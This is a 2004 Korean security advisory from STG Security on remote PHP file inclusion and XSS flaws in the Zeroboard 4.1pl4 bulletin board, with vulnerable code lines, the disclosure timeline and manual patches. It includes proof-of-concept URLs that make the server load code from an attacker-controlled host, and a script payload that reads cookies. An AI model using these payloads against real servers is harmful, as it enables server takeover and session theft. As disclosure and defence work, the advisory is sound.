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 문서 버전 1.1

 최초 작성일 2004-11-22 (KST)

 개정일 2004-12-13 (KST)

 STG시큐리티 보안전략연구팀(SSR Team)

 

 요약문 

국내에서 게시판으로 널리 사용되고 있는 제로보드에 다수의 취약점이 발견되었습

니다. 공격자가 제로보드의 취약점을 이용해 원격지에서 서버를 장악 가능하니, 아

래에 나온 대응 방안에 따라 신속히 대처하시기 바랍니다. 

 

 취약점 종류 

구현상의 취약점 : 사용자 입력값 검증 미흡 

 

 영향 

위험 (High) 

원격지(remote)의 공격자가 서버에서 임의의 명령어를 실행할 수

있으며, 이를 이용해 서버에 접속하여 추가적인 공격을 수행할 수

있습니다. 

 

 취약한 버전 

제로보드 4.1pl4 최신 버전을 포함한 이전 버전 

 

 벤더 현황: 취약함 

2004년 11월 20일 취약점 최초 발견 

2004년 11월 20일 벤더에게 취약점 통보하였으나, 응답없음. 

2004년 11월 22일 벤더에게 2차 통보하였으나, 응답없음. 

2004년 12월 13일 STG시큐리티 고객사에 취약점 및 대응방안 공지. 

 

 상세설명 

취약점 1 : 외부 PHP 소스 실행 취약점 

 영 향 외부 PHP 소스에 기록된 명령어 실행 

 취약점확인방법 http://[victim]/outlogin.php?_zb_path=ftp://[attacker]/pub/ 

 발 생  환 경 PHP 5.0.0 이상 버전 

php.ini에서 register_globals = On으로 설정되어 있는 경우 



 문 제  원 인 PHP 5.0.0 이후 file_exists()가 URL을 다룰 수 있도록 변경됨

(http://www.php.net/file_exists) 

 문제 발생 위치 outlogin.php의 61행 

// 제로보드 디렉토리 인지 체크 

 if(!file_exists($_zb_path."lib.php")) { 

  echo "제로보드 디렉토리가 아닙니다"; 

  return; 

 } 

 

 // _head.php 읽음 

 @include $_zb_path."_head.php"; 

 } 

  

 

취약점 2 : 외부 PHP 소스 실행 취약점 

 영 향 외부 PHP 소스에 기록된 명령어 실행 

 취약점확인방법 http://[victim]/include/write.php?dir=http://[attacker]/ 

 발 생  환 경 php.ini에서 register_globals = On으로 설정되어 있는 경우 

 문 제  원 인 write.php 의 16행에서 초기화되지 않은 $dir 변수 사용 

 문제 발생 위치 include/write.php의 16행 

include $dir."/write.php"; 

  

 

취약점 3 : 크로스사이트스크립팅(XSS) 취약점 

 영 향 다른 사용자의 브라우저에서 임의의 javascript를 실행 

 취약점확인방법 http://[victim]/check_user_id.php?user_id=<script>alert(doc

ument.cookie)</script> 

 발 생  환 경 실행 환경과 상관 없음 

 문 제  원 인 check_user_id.php 의 13~14 행에서 사용자가 입력한

user_id 변수의 값을 사용자에게 그대로 반환 

 문제 발생 위치 check_user_id.php의 13행 

$user_id = trim($user_id); 

 ... 생략 ... 

 if($check[0]) echo "$user_id 는 이미 등록된<br> 아이디

입니다"; 

 else echo"$user_id 는 사용하실수 있습니다"; 

http://www.php.net/file_exists


 ... 생략 ... 

  

 

 대응 방안 

제로보드 개발사에서 현재 패치 작업을 수행하지 않고 있기 때문에, 다음과 같이 

수작업으로 패치를 수행하여야 합니다. 이하의 설명에서 소스의 행 번호는 제로보

드 4.1pl4 최신버전을 기준으로 합니다. 

 

취약점 1 : 외부 PHP 소스 실행 취약점 

 패  치 outlogin.php의 59행에 다음과 같은 내용 추가 

if(eregi(":\/\/",$_zb_path)) $_zb_path=""; 

  

 

취약점 2 : 외부 PHP 소스 실행 취약점 

 패  치 include/write.php의 15행에 다음과 같은 내용 추가 

if(eregi(":\/\/",$dir)) $dir=""; 

  

 

취약점 3 : 크로스사이트스크립팅(XSS) 취약점 

 패  치 check_user_id.php의 3행을 다음과 같이 수정 

$user_id = htmlspecialchars(trim($user_id)); 

  

 

 발견자 

STG시큐리티(주) 배상우 선임컨설턴트 

 

 저작권 

Copyright © 2004 에스티지시큐리티(주). 모든 권리 보유. 

본 문서의 저작권은 에스티지시큐리티㈜에 있습니다. 이 문서에서 특정 부분, 파일 

또는 문서에 대해 달리 규정한 경우를 제외하고는 아래 조건에 따라 이 문서를 보

거나 복사하거나 인쇄하거나 배포할 수 있습니다. 

 

▪ 본 문서는 정보 제공용으로만 사용할 수 있습니다.  

▪ 본 문서의 복사본이나 본 문서에서 내용을 일부 발췌한 문서에도 반드시 이 

저작권 고지문을 포함해야 합니다. 

▪ 에스티지시큐리티㈜는 이러한 권한을 언제든지 취소할 권리를 보유하고 있



으며 에스티지시큐리티㈜로부터 서면 통지를 받는 즉시 모든 사용을 중단해

야 합니다. 

 


